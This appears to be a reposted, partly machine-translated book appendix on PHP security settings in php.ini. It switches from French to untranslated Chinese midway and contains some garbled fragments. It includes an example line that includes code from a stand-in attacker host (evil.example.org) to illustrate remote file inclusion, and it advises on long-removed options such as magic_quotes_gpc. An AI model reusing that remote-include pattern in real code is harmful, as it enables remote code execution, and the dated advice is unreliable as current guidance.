Maison > Article > développement back-end > Sécurité PHP - Options de configuration
Bien que ce livre se concentre sur la sécurité des applications, il existe certaines options de configuration que tout développeur préoccupé par la sécurité doit connaître. La configuration de PHP affectera le comportement du code que vous écrivez et les techniques que vous utilisez, et vous devrez être légèrement responsable des choses en dehors de l'application si nécessaire.
La configuration de PHP est principalement spécifiée par un fichier appelé php.ini. Ce fichier contient de nombreuses options de configuration, dont chacune a un impact bien spécifique sur PHP. Si le fichier n'existe pas, ou si une option dans le fichier n'existe pas, la valeur par défaut sera utilisée.
Si vous ne savez pas où se trouve le fichier php.ini, vous pouvez utiliser phpinfo( ) pour déterminer la définition du chemin du fichier en PHP :
<?php phpinfo(); ?>
Figure A-1 La sixième ligne affichée (Chemin du fichier de configuration (php.ini)) montre le chemin complet vers php.ini. Si seul le chemin est affiché (sans le nom du fichier), cela signifie que PHP ne peut pas trouver le fichier php.ini au chemin indiqué.
Le fichier contient très bien ses propres instructions, vous pouvez donc lire le fichier et choisir les options de configuration qui vous conviennent. Le manuel est encore plus détaillé, donc lorsque vous avez besoin de plus d'informations sur une certaine option, je vous recommande de visiter http://www.php.cn/
Figure A-1. La fonction phpinfo() peut être utilisée pour localiser le fichier php.ini
A.1.allow_url_fopen
Comme dans le sixième Comme indiqué au chapitre 1, l'option allow_url_fopen permet de référencer des ressources distantes comme s'il s'agissait de fichiers locaux :
🎜>
<?php $contents = file_get_contents('http://example.org/xss.html'); ?>
Les dangers lorsqu'ils sont combinés avec include ou require sont révélés au chapitre 5 :
<?php include 'http://evil.example.org/evil.inc'; ?>
Je recommande de désactiver l'option allow_url_fopen, sauf si votre application l'exige.
A.2. désactiver_fonctions
L'option Disable_functions est très utile pour garantir que certaines fonctions potentiellement dangereuses ne puissent pas être utilisées. Bien que des spécifications puissent être établies pour interdire l'utilisation de ces fonctions, imposer des restrictions dans la configuration PHP est bien plus fiable que de compter sur les développeurs pour suivre les spécifications.
Je vérifierai les fonctions répertoriées dans l'annexe B pour voir s'il existe des restrictions sur certaines fonctions.
A.3. display_errors
Le rapport d'erreurs PHP peut vous aider à trouver des erreurs dans le code que vous écrivez. Lorsque vous développez une application, l'affichage de messages d'erreur est un moyen efficace d'obtenir un retour immédiat et d'accélérer le développement.
Dans une application de production, ce comportement deviendrait un risque de sécurité. S'il affiche un message d'erreur, tout le monde peut obtenir des informations importantes sur votre application.
Vous devez désactiver l'option display_errors dans le produit.
A.4. Enable_dl
L'option Enable_dl est utilisée pour contrôler le dl () fonction Si elle est activée, cette fonction permet de charger les extensions PHP au moment de l'exécution.
L'utilisation de la fonction dl() peut permettre à un attaquant de contourner les restrictions open_basedir, vous devez donc la désactiver dans votre application sauf si nécessaire.
A.5. rapport_d'erreurs
De nombreuses vulnérabilités de sécurité sont causées par l'utilisation de variables non initialisées ou d'autres techniques de programmation aléatoires. En définissant l'option error_reporting de PHP sur E_ALL ou E_ALL | E_STRICT, PHP vous demandera le comportement ci-dessus. Ces paramètres servent à signaler les erreurs de niveau de notification.
我建议把error_reporting至少设定为E_ALL。(译注:在开发中)
A.6. file_uploads
file_uploads选项决定了是否允许上传文件。因此,如果你的应用不需要用户上传文件,那么关闭该选项就是最好的选择。
只是简单地在PHP代码中不对上传文件进行处理是不够的,因为在执行你的代码前,PHP就做了一些工作(如根据相关部据生成$_FILES数组)。
A.7. log_errors
当log_errors设为有效时,PHP会向error_log配置选项指定的文件中写入所有出错信息。
当display_errors设为无效时,将log_errors设为有效是很重要的;否则你将无法看到睛出错信息。
我建议将log_errors设为有效并在error_log设定日志文件所在位置。
A.8. magic_quotes_gpc
magic_quotes_gpc是一个常用的选项,它目的是防止SQL注入。但出于很多原因,包括它转义输入的方式,证明了它是不完善的。
它对$_GET, $_POST, 以及 $_COOKIE中的数据使用同样的规则即addslashes( )函数进行处理。从而,它并没有根据你的数据库选用对应的转义函数进行处理。
基于两个主要的原因,你需要把get_magic_quotes_gpc设为无效:
首先,它会加大你的输入过滤逻辑的复杂性,这是由于它在执行你的代码前首先对数据进行了编辑。例如,你需要对输入的姓名进行过滤,其逻辑是只允许字母、空格、连词符以及单引号,当magic_quotes_gpc生效时,你必须适应形如O\'Reilly的姓名或者使用stripslashes( )尝试将它恢复原形。这一不必要的复杂性(或者说不严谨的过滤规则)加大了发生错误的可能性,同时,你的输入过滤机制中的缺陷必然会导致安全漏洞。
其次,它并没有根据你的数据库选用对应的转义函数进行处理。这样,由于它可以抵挡一些低层次或偶发的攻击,掩盖了它是一个糟糕的过滤或转义机制这个事实,从而留下了一个安全漏洞,使你的应用无法抵挡如针对字符集的攻击等更复杂的攻击手段。
A.9. memory_limit
为防止写得糟糕的脚本占用所有的可用内存,可以使用memory_limit选项对最大内存使用量进行限制(以字节方式或缩写方式如8M指定)。
尽管最佳的取值是与运行的应用是相关的,我还是建议在大多情况下使用默认值8M。
memory_limit选项只有在PHP指定了enable-memory-limit方式编译时才会生效。
A.10. open_basedir
open_basedir选项会限制PHP只能在它指定的目录中打开文件。尽管它不能取代正确的输入过滤,但该选项能减少利用文件系统相关函数如include及require进行的攻击。
该选项的值会被当做前缀使用,因此当你想表示指定目录时请小心不要漏了最后的斜杠:
open_basedir = /path/to/
小提示
请确认enable_dl选项是关闭的,否则open_basedir的限制可能会被绕过。
A.11. register_globals
见第二章
A.12. safe_mode
见第八章
以上就是PHP安全-配置选项的内容,更多相关内容请关注PHP中文网(www.php.cn)!